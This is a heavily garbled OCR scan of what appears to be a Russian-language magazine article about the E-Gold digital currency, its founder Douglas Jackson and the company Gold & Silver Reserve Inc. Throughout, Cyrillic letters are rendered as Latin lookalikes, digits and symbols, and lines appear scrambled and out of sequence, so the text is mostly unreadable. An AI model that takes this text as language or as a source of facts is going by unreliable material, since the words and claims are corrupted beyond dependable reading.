p.s. nOBepb, 11l-1u,eH3l<10HHal< sepCI-1l'l CSI'I3Klo1 CTOI1T CBOl-1Xp,eHer, a Ha.flI-1YY1e nOAaep:KK141'l an,qeiliTOB orynl-1T npl-106pereHl.1e BC<lMble KOpOTKl-1eCpOKl'l.X

~

073


....I!I"'-~s~""' ....

3KCKYPC B 101 CTOPIo1 10 npeAMeT

Ka3a.nOCb6bl. npeycne8alOUJ,111ii Spil4, HV1 CTOIO

Hawero cero,llH51WHerO VI HTepeca - E-Gold ­

HI1l C cera YJ:l.apI1lBwliIillC51 S J.neKTpoHHylO KOM­

HI1We pblHKa. Pe3ynbTaT He 3aCTaBl1n ce6s:l

Mepu,l1llO. 0 KOTopolii TorAa HI1KTO e1J~e TonKOM He

>KAaTb. A*eKcoH ,o,e(:,CT8111TenbhO He OWI16C,,­

MO>K€T

no npasy ropAI-lTbcq

He TOflbKO 6blllbiM

Ho >KYl3Hb

yxe B 1996-M rOAY, B nO'1TV1 CB060AHOVl Tor,o,a

nOMbIWJlSln- 3TO seCbMa CTpaHHo,

nonHa ClOpnplo130B. ,ll,e.no B TOM, 4TO ,ll,>KeKCOH

npo,o,oll)l(eHIt151 Me,(l~l.\l'IHCKO(:, ,o,eSlTe,lbHOCTVl B

HblM 3saH\IIeM O,llHOVi \113 crapet:1w\I1x 113 HV1X.

BCer,(la 6bln HepaBHoAyweH K (1)l'lI-laHcaM. a,

nonb3Y CTpetvllt1Tenbl-lO Ha6Vlpa lOw,ei1 060POTbf

npV1AYMaJ111 '<:;lJleKTpOHHOe 301l0TO» H3 C3MOVi

3aH51BWI1lCb c06CTBeHHbiM 61013HecoM. ywefl B

KOMnaHl11t1 Gold & Silver Reserve (G&SRllnc.

3ape I1HTepHeT3 - B 1996 rOAY. VI c,u,enaJllil 3TO

HV1X C rOnOBOI1. OH npeAn04l1lTa.n3HaTb, C 4eM

,ll,yrnac nepeAan CBOKl A011l0 B Florida Oncology

J],sa BeCbMa A3neKlI1X OT 8(>lK0.:1 «KOMnbfOTep­

UJ,lt1H tol» 4enQSeKa - .uyrn3c ,U>KeKCOH

Jacksonl

V1